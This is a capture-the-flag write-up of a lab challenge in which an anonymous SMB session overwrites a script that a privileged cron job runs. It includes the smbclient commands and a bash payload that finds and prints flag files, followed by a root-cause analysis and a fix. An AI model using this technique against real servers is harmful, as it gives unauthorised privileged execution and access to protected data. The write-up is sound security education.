Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
General Skills Hard

Printer Shares 3

CyLab 2026 · General Skills · Hard

Vulnerability
Writable share + privileged cron
Impact
Read a flag our session can't reach
Tools
smbclient, a bash payload
Access
Anonymous / null SMB session
FLAG  ✓ captured — flag redacted
Attack Chain
Reconnaissancesmbclient -L
→
Write Accessoverwrite script.sh
→
Privileged Executioncron runs script as root
→
Collectionflag read via cron.log

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Discovery Network Share Discovery T1135 smbclient -L enumerated a writable null-session share
Lateral Movement Remote Services: SMB/Windows Admin Shares T1021.002 Wrote a replacement script.sh to the share over SMB
Privilege Escalation Scheduled Task/Job: Cron T1053.003 A privileged cron job executed the attacker-controlled script every minute
Collection Data from Local System T1005 Flag file content appeared in the world-readable cron.log

Vulnerability Analysis

Root Cause: A privileged cron job executes a script that an anonymous SMB session can overwrite — the script's permissions, not the job's privilege level, are the actual flaw.

  • CWE-732: Incorrect Permission Assignment for Critical Resource — script.sh is writable by an anonymous null SMB session despite being run with elevated privilege
  • CWE-276: Incorrect Default Permissions — The shares export allows unauthenticated write access by default

Severity: No CVSS score applies — this is a lab misconfiguration, not a scored vulnerability in a shipped product. The practical effect is anonymous-to-root code execution.

References:
CWE-732 CWE-276

Summary

An SMB server exposes two shares: a public, writable one (null session) holding a script.sh + cron.log, and a protected secure-shares we can't read. A cron job runs script.sh every minute as a privileged user and appends its output to the world-readable cron.log. Since we can overwrite the script, we make it read the flag for us.

Don't attack the locked door — use the thing that already has the key. The cron user can read secure-shares; we just change what it runs.

Recon

shell
smbclient -L //$H -p $P -N
#  shares          Disk   Public Share With Guests        <- writable (null session)
#  secure-shares   Disk   Printer for internal usage only <- ACCESS_DENIED to us

smbclient //$H/shares -p $P -N -c 'get script.sh; get cron.log'
# script.sh = a harmless health check; cron.log gains one line per minute

The payload

Rather than guess the flag's path, the replacement script enumerates and cats any flag* file, so the exact path doesn't matter:

bash
#!/bin/bash
echo "Health Check: $(date)"
echo "WHOAMI: $(id)"
for f in $(find / -iname 'flag*' 2>/dev/null); do echo ">> $f"; cat "$f" 2>&1; done
shell
smbclient //$H/shares -p $P -N -c 'put script.sh'   # overwrite, then wait ~60s

Result

After the next tick, the flag appeared in cron.log among the find output:

text
>> /challenge/secure-shares/flag.txt
<flag redacted>

Takeaways

  • Let the privileged job do the work instead of attacking the protected share directly.
  • Enumerate, don't guess — find / -iname 'flag*' + cat-all made the path irrelevant.
  • The output channel was free — cron already logs stdout to a readable file.
  • Fix: cron scripts should be root-owned and not writable by anonymous users.

Practice next

Explore more security challenges on CyLab Security Academy.

Explore CyLab Security Academy ↗